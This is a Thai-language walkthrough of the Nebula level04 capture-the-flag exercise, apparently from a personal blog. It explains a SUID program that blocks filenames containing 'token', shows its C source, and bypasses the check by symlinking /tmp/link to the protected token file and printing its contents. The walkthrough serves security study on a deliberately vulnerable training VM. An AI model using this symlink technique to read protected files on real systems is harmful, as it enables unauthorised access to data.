บทนำ (Overview)
บทความนี้วัตถุประสงค์คือให้เราเปิดอ่านไฟล์ที่เราไม่มีสิทธิให้ได้ แต่เนื่องจากเราไม่มีสิทธิในการเปิดอ่านไฟล์จึงจำเป็นต้องหาโปรแกรมที่มีสิทธิในการเปิดอ่านไฟล์เปิดอ่านแทน แต่โปรแกรมดังกล่าวก็เขียนป้องกันชื่อไฟล์ที่เราต้องจำอ่านเอาไว้ด้วย วิธีแก้ไขคือการเปลี่ยนชื่อไฟล์ แต่เราไม่สามารถทำอย่างนั้นได้ จึงใช้วิธีสร้าง “Link” ให้ชื่อแตกต่างจากชื่อไฟล์ และชี้ไปยังไฟล์ต้องการเปิดอ่านจากนั้น ให้โปรแกรมมาอ่านชื่อ “Link” แทนดังต่อไปนี้
ขั้นตอน (Steps)
- ดาวน์โหลด “VM” ได้จาก https://exploit-exercises.com/download/
- “Login” โดยใช้ “User” คือ “level04” และ “Password” คือ “level04”
- โดยวัตถุประสงค์ให้เราพยายามอ่านไฟล์ token ให้ได้
- เมื่อ “login” เข้าไปแล้วให้ตรวจสอบ “permission” ของ โฟลเดอร์ “flag04” ดังนี้
ls -l total 8 -rwsr-x--- 1 flag04 level04 7428 2011-11-20 21:52 flag04 -rw------- 1 flag04 flag04 37 2011-11-20 21:52 token
- จาก “permission” ดังกล่าวเราจะพบว่า
- ตอนนี้ “login” ของเราคือ “level04”
- สามารถ “run” ไฟล์ “flag04” ได้
- ทดลอง “run” ไฟล์ดังกล่าวพบว่า
./flag04 ./flag04 [file to read]
- โปรแกรมบอกให้เราระบุไฟล์ที่จะต้องการอ่าน ซึ่งก็คือไฟล์ “token” ตามโจทย์ที่ให้ไว้ ทดลองใช้งานตามโปรแกรมกล่าวไว้
./flag04 token You may not access 'token'
- ที่นี้เราจะลองเข้าไปอ่านไฟล์ตรง ๆ ก็ไม่ได้ เพราะว่าไม่มีสิทธิดังนี้
cat token cat: token: Permission denied
- อย่างไรก็ตามเราพบว่า “level04” สามารถอ่านไฟล์ดังกล่าวผ่านโปรแกรม “flag04” เนื่องจาก ตั้ง “SUID” -rwsr-x—
-rwsr-x--- 1 flag04 level04 7428 2011-11-20 21:52 flag04
- จากเรื่อง “permission” ข้างต้นพบว่าจริง ๆ แล้วเมื่อเรา “Run” ตัวโปรแกรมน่าจะอ่านไฟล์ token ได้จึงต้องมีอุปสรรคอะไรขวางกั้นเอาไว้ และจากโจทย์ได้เตรียม “source-code” มาให้เราวิเคราะห์ดังนี้ https://exploit-exercises.com/nebula/level04/
int main(int argc, char **argv, char **envp) { char buf[1024]; int fd, rc; if(argc == 1) { printf("%s [file to read]\n", argv[0]); exit(EXIT_FAILURE); } if(strstr(argv[1], "token") != NULL) { printf("You may not access '%s'\n", argv[1]); exit(EXIT_FAILURE); } fd = open(argv[1], O_RDONLY); if(fd == -1) { err(EXIT_FAILURE, "Unable to open %s", argv[1]); } rc = read(fd, buf, sizeof(buf)); if(rc == -1) { err(EXIT_FAILURE, "Unable to read fd %d", fd); } write(1, buf, rc); }
- ค่อย ๆ อ่านทีละเงื่อนไขดังนี้ เงื่อนไขแรกกล่าวถึงว่า ถ้ามีเพียง อาร์กิวเมนต์แรก คือการเรียกใช้ชื่อโปรแกรมให้แสดงข้อความ “file to read” จากนั้นออกจากโปรแกรม
if(argc == 1) { printf("%s [file to read]\n", argv[0]); exit(EXIT_FAILURE); }
- ถ้าใน อาร์กิวเมนต์ ที่ “2” มีคำว่า “token” ให้แสดงคำว่า “You may not access” แล้วออกจากโปรแกรม สังเกตุฟังก์ชันที่ชื่อ “strstr” จะคำว่า “token” โดยถ้ามีค่า “return” กลับมาที่ไม่ใช้ “Null” แสดงว่าชื่อไฟล์มีคำว่า “token” นั้นเอง
if(strstr(argv[1], "token") != NULL) { printf("You may not access '%s'\n", argv[1]); exit(EXIT_FAILURE); }
- พอมาถึงตรงนี้เรา วิธีแก้ก็คือเปลี่ยนชื่อโปรแกรมจาก “Token” เป็นชื่ออื่นแทนก็น่าจะอ่านไฟล์ได้ แต่เนื่องจากสิทธิไม่ถึงจึงไม่สามารถเปลี่ยนได้ตรง ๆ
-rw------- 1 flag04 flag04 37 2011-11-20 21:52 token
- ดังนั้นสิ่งที่พอจะทำได้คือการสร้าง “Link” 1 ไฟล์ จากนั้นให้ชี้ไปยังไฟล์ “token” และใช้งานโปรแกรม “flag04” เพื่อเรียกไฟล์ “link” แทนดังนี้ เราจะสร้าง link ไว้ที่โฟลเดอร์ที่มีสิทธิเขียน ยกตัวอย่างเช่น /tmp
ln -s /home/flag04/token /tmp/link ls -l /tmp/link lrwxrwxrwx 1 level04 level04 18 2017-02-12 02:59 /tmp/link -> /home/flag04/token level04@nebula:/home/flag04$ ./flag04 /tmp/link 06508b5e-8909-4f38-b630-fdb148a848a2